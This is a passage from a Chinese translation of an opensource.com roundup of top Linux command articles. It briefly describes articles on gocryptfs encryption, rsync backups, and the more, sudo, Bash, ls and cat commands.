从社会保险号到个人信件再到亲人,我们的文件中包含了许多私人数据。在《如何在 Linux 上使用 gocryptfs 加密文件》中,Brian Bex Exelbierd 解释了如何保持*隐私的私密性。此外,他展示了一种加密文件的方式,这种方式对你现有的工作流程几乎没有影响。这不是复杂的 PGP 风格的密钥管理和后台密钥代理的难题,这是快速、无缝和安全的文件加密。

《如何使用 rsync 的高级用法进行大型备份》

在新的一年中,许多人会下定决心要更加努力地进行备份。Alan Formy-Duval 早在几年前就已经做出了解决方案,因为在《如何使用 rsync 的高级用法进行大型备份》中,他表现出对文件同步命令的极其熟悉。你可能不会马上记住所有语法,但其思路是读取和处理选项、构造备份命令,然后使其自动化。这是使用 rsync 的明智方法,也是可靠地执行备份的唯一方法。

《在 Linux 命令行使用 more 查看文本文件》

在 Scott Nesbitt 的文章《在 Linux 命令行使用 more 查看文本文件》中,古老而良好的默认分页器 more 引起了人们的关注。许多人安装和使用 less,因为它比 more 更灵活。但是,随着越来越多的系统在新出现的容器中实现,有时甚至不存在像 less 或 most 之类的新颖的豪华工具。了解和使用more 很简单,这是常见的默认设置,并且是生产系统最后的调试工具。

《关于 sudo 你可能不知道的》

sudo 命令因其过失而闻名。人们知道 sudo 一词,我们大多数人认为我们知道它的作用。我们的观点是正确的,但是正如 Peter Czanik 在他的文章《关于 sudo 你可能不知道的》中所揭示的那样,该命令所包含的不仅仅是“ 西蒙说的 Simon says ”(LCTT 译注:国外的一个儿童游戏)。就像这个经典的童年游戏一样,sudo 命令功能强大,也容易犯愚蠢的错误 —— 有更多的可能产生可怕都后果,而这是你绝不想遇上的事情!

《怎样用 Bash 编程:语法和工具》

如果你是 Linux、BSD 或 Mac(以及近来的 Windows)用户,你也许使用过交互式 Bash shell。它是快速的、一次性命令的绝佳 shell,这就是为什么这么多 Linux 用户喜欢将其用作主要用户界面的原因。但是,Bash 不仅仅是个命令提示符。它也是一种编程语言,如果你已经在使用 Bash 命令,那么自动化的道路从未如此简单过。在 David Both 的出色作品《怎样用 Bash 编程:语法和工具》中对其进行全面了解。

《精通 Linux 的 ls 命令》

ls 命令是那些两个字母的命令之一。单字母命令是针对慢速终端的优化,因为慢速终端的输入的每个字母都会导致明显的延迟,而这对于懒惰的打字员来说也是不错的奖励。一如既往地,Seth Kenlon 清晰实用地解释了你可以怎样《精通 Linux 的 ls 命令》。最重要的是,在“一切都是文件”的系统中,列出文件至关重要。

《Linux cat 命令入门》

cat 命令(concatenate 的缩写)看似简单。无论是使用它来快速查看文件的内容还是将内容通过管道传输到另一个命令,你都可能没有充分利用 cat 的功能。Alan Formy-Duval 的《Linux cat 命令入门》提供了一些新思路,可以使你没有打开文件的感觉就可以看到文件内容。另外,了解各种有关 zcat 的知识,这样你就可以无需解压缩就可以得到压缩文件的内容!这是一件小而简单的事情,但是这是使 Linux 很棒的原因。

继续旅程

不要让这些关于 Linux 命令的 10 篇最佳文章成为你的旅程终点。关于 Linux 及其多才多艺的提示符,还有更多值得去发现,因此,请继续关注以获取更多知识。而且,如果你想让我们介绍一个 Linux 命令,请在评论中告诉我们。


via: https://opensource.com/article/19/12/linux-commands

作者:Moshe Zadka 选题:lujun9972 译者:wxy 校对:wxy

本文由 LCTT 原创编译,Linux中国 荣誉推出